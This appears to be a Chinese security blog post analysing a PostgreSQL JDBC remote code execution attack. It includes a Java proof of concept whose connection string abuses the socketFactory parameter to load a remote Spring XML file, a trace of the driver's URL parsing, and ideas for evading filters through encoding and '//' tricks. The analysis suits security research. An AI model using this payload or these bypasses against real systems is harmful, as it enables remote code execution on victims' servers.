<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.8</version>
</dependency>
public class test {
public static void main(String[] args) throws SQLException {
System.out.println(org.postgresql.Driver.class.getPackage().getImplementationVersion());
DriverManager.registerDriver( new Driver());
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://localhost:8899/2.xml");
}
}
下断点在SocketFactoryFactory#getSocketFactory,然后查看调用栈
主要关注数据处理流程,来到org.postgresql.Driver#connect来看看触发步骤
调用props = parseURL(url, props)解析url
(1)利用第一个出现的?进行分割urlServer和urlArgs
(2)要求urlServer jdbc:postgresql:开头
(3)判断分割urlServer首部后是否//开头
(4)3不满足,则截取分割urlServer的前两个字符,取后面的内容(需要传
入数据否则这里会报错不允许为空)
(5)获取主机和端口信息,如果没有端口默认添加一个5432
(6)用&分割参数,然后获取socketFactory的内容,通过=分割,最后装填
到urlProps中。这里对内容进行了一次URLDecoder.decode()解码操作。
对参数解析完成后,开始进行连接,其中会在org.postgresql.core.SocketFactoryFactory#getSocketFactory.调用ObjectFactory.instantiate,这里利用反射创建了我们传入的类并进行了newInstance。看看传入类的要求,其中参数类名必须要为socketFactory,参数名要为socketFactoryArg。
tips
newInstance() 适用于类的无参构造
getConstructor() 适用于类的无参或者有参构造(public)
getDeclaredConstructor() 返回类的所有构造
很显然,我们传入的类,构造方法的参数需要传入一个Properties或者String类型的类或者子类。并且只能传入一个参数。然后传入的参数为stringarg也就是我们传入payload分割出来的第二部分的值。最后实例化这个类去解析远程的xml造成了rce。
那么我们的绕过思路有哪些呢,根据上面的分析
(1)对传入的socketFactoryArg进行url编码
(2)传入"//"
进行替换甚至直接取消 虽然PGHOST换位了本地,但根本不影响我们JDBC攻击。还是
很丝滑,类似下图2
(3)对加载类的截取分析的话,这部分绕过感觉只能基于黑名单了
原文始发于微信公众号(e0m安全屋):postgresql JDBC攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论